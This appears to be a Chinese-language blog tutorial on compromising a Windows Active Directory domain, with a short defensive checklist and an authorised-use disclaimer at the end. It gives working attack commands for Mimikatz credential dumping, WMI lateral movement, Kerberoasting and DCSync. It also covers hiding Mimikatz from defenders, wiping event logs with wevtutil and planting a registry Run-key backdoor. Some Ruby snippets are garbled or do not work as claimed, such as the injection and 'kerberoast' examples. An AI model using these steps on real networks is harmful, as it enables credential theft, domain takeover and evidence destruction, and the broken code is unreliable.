一、从防御视角回溯攻击链条
在企业级网络环境中,Windows域(Active Directory,以下简称AD)是攻击者的重中之重。为什么?因为AD中存储着企业用户的身份信息、权限策略、敏感资源的访问入口。一旦域控被攻破,攻击者便能掌握整个网络的命脉。
防御人员往往专注于加强域安全:配置复杂密码策略、实现双因子认证、日志审计。然而,作为攻击者,我的思路却并非正面进攻,而是寻找防御体系中的短板,比如过期的服务账号、错误配置的权限、多余的开放端口等。以防御者的逻辑逆向思考,往往能发现意想不到的突破口。
攻击策略的核心问题:如何在不惊动蓝队的情况下,悄无声息地攻破域环境? 这便是我们深入探讨的话题,下面将通过完整的渗透演示,从信息收集到域控接管,展示攻击步骤与工具实战。

---
二、进入猎场:信息收集与侦察
攻击的第一步总是信息收集。在域环境中,攻击者需要快速了解目标网络的基本信息,包括:
- 域名、域控IP地址
- 活跃的计算机与用户
- 共享文件、服务端口等
我们可以利用以下工具和技术实现高效侦察。
1. 获取域信息的第一步:LDAP匿名查询
很多域环境默认开启LDAP服务(TCP 389),并允许匿名用户查询基本信息。利用Ruby的net-ldap库,我们可以轻松实现一个简单的LDAP信息收集脚本。
<pre><code class="language-ruby">require 'net/ldap'
域控IP地址
ldap_host = '192.168.1.100' ldap_port = 389
初始化LDAP连接
ldap = Net::LDAP.new( host: ldap_host, port: ldap_port, encryption: nil )
执行匿名绑定
if ldap.bind puts "[*] 匿名绑定成功!开始查询域信息..."
查询根目录下的所有对象
filter = Net::LDAP::Filter.eq("objectClass", "") ldap.search(base: "", filter: filter, attributes: ["namingContexts"]) do |entry| puts "[] 找到域信息: #{entry}" end else puts "[!] 匿名绑定失败,可能域控已禁用匿名访问。" end</code></pre>
上面这段脚本会尝试匿名绑定域控,如果成功,可以获取目标域的根目录信息,比如域名的DN路径(如DC=example,DC=com)。
2. SMB协议侦察:NetBIOS与共享枚举
SMB是域环境中常被滥用的协议。通过SMB枚举,我们可以发现很多有用信息,比如共享文件夹、用户会话等。以下是一个典型的Shell脚本,利用nmblookup和smbclient进行快速枚举:
<pre><code class="language-bash">#!/bin/bash
target_ip="192.168.1.100"
echo "[*] 正在进行NetBIOS名称查询..." nmblookup -A $target_ip
echo "[*] 枚举共享文件夹..." smbclient -L //$target_ip -N</code></pre>
运行结果可能显示类似以下内容: <pre><code>Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share Public Disk Shared files</code></pre>
在这里我们发现了一个Public共享目录,接下来我们可以尝试读取其中的文件,寻找可能的凭据、脚本或其他敏感信息。
3. 从内网中嗅探更多信息
如果我们已经获得了一个普通域用户的权限,可以通过工具如BloodHound或CrackMapExec获取更详细的信息。例如,BloodHound结合SharpHound收集域环境的拓扑结构,为后续的攻击提供清晰的路径。
<pre><code class="language-bash"># 使用CrackMapExec快速枚举域控制器和服务信息 cme smb 192.168.1.100 -u 'testuser' -p 'password123' --shares</code></pre>
---
三、隐藏在角落:横向移动的技巧
在渗透过程中,登录用户权限通常并不高,我们需要进一步横向移动,寻找具有更高权限的账号。以下是两种经典的横移技术。
1. 凭据窃取:利用Mimikatz
Mimikatz是一款经典的凭据抓取工具,几乎是Windows域渗透的标配。运行以下命令,可从内存中提取明文密码。
<pre><code class="language-bash">mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit</code></pre>
如何隐藏Mimikatz的行为? 将Mimikatz的payload写成Ruby脚本,然后通过内存注入加载。以下代码展示了一个简单的注入示例:
<pre><code class="language-ruby">require 'win32/process'
目标进程
target_pid = 1234
将Mimikatz DLL注入目标进程
Process.create( app_name: "rundll32.exe mimikatz.dll,#1", process_id: target_pid )</code></pre>
2. WMI横向调用
如果目标网络中启用了WMI服务,可以通过WMI执行命令实现横向移动:
<pre><code class="language-bash"># 使用wmiexec.py执行命令 wmiexec.py DOMAIN/username:[email protected] "whoami"</code></pre>
这类方法的优点是工具轻量,流量难以被蓝队检测。
---
四、从边缘到核心:域控提权
一旦在域环境中找到域控服务器,就可以尝试直接提权,以下是两种常见的提权方式。
1. 利用Kerberoasting漏洞
Kerberoasting是通过请求服务票据并离线破解其中的密码哈希来获取服务账号密码。以下是一个利用的Ruby脚本:

<pre><code class="language-ruby">require 'kerberoast'
设置目标SPN
spn = "MSSQLSvc/sqlserver.example.com:1433"
请求票据
ticket = Kerberoast.request_ticket(spn)
保存票据到文件
File.write("ticket.kirbi", ticket)
puts "[*] 票据已保存,进行离线破解..."</code></pre>
保存的票据可以用hashcat工具进行破解,获取服务账号的明文密码。
2. DCSync攻击:直接抓取域控密码
如果成功获取了域管理员权限,可以直接通过DCSync抓取域控的密码数据:
<pre><code class="language-bash">secretsdump.py DOMAIN/admin:[email protected]</code></pre>

---
五、从痕迹中消失:清理与隐藏
完成攻击后,清理痕迹是至关重要的一步。以下是一些常用的清理手段:
1. 日志清理
使用wevtutil工具清理Windows事件日志:

<pre><code class="language-bash">wevtutil cl Security wevtutil cl System</code></pre>
2. 隐藏后门
持久化后门可以使用注册表键值:
<pre><code class="language-bash">reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Backdoor /t REG_SZ /d "c:\\windows\\system32\\cmd.exe"</code></pre>
---
六、我的心得与建议
域渗透攻击的成功与否,很大程度上取决于对目标网络的深入了解。工具是辅助,真正的威胁来源于攻击者的思维。要想防御这些攻击,企业需要做到以下几点:
- 禁用匿名LDAP查询,限制域信息的外泄。
- 定期审计域用户和服务账号的权限。
- 部署实时检测工具,关注异常的登录行为。
最重要的一点是,安全始终是人与人的对抗,技术只是手段。防御者与攻击者的较量从未停止,而每一次攻防对抗的经验,都会让我们更进一步。
声明:本文仅用于安全研究与授权测试,切勿非法使用!